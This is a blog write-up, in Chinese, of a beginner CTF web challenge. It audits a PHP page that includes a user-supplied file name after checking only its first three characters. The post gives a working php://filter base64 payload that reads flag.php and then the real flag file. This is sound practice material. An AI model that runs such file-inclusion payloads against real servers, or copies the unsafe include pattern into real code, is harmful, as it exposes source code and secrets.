NSSCFT [SWPUCTF 2022 新生赛]ez_ez_php

进入之后就看见一段php代码,那就直接开始代码审计

复制代码
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {//截取字符串前三个字符,并与php做判断
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php
复制代码

这段代码,就是限定我们输入的内容前三个字符必须是php,这不就好办了,他告诉我们存在一个flag.php文件,那我们直接用php伪协议中的php://filter来试试

/?file=php://filter/read=convert.base64-encode/resource=flag.php

 

 放进解码器解码得到下面的代码。

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");


echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "换个思路,试试PHP伪协议呢";

他说flag不在flag.php里面,在flag里面,那我们直接将flag.php改为flag试试

/?file=php://filter/read=convert.base64-encode/resource=flag

 

 继续解码试试

 

 成功获得flag

posted @   karasbai  阅读(41)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
点击右上角即可分享
微信分享提示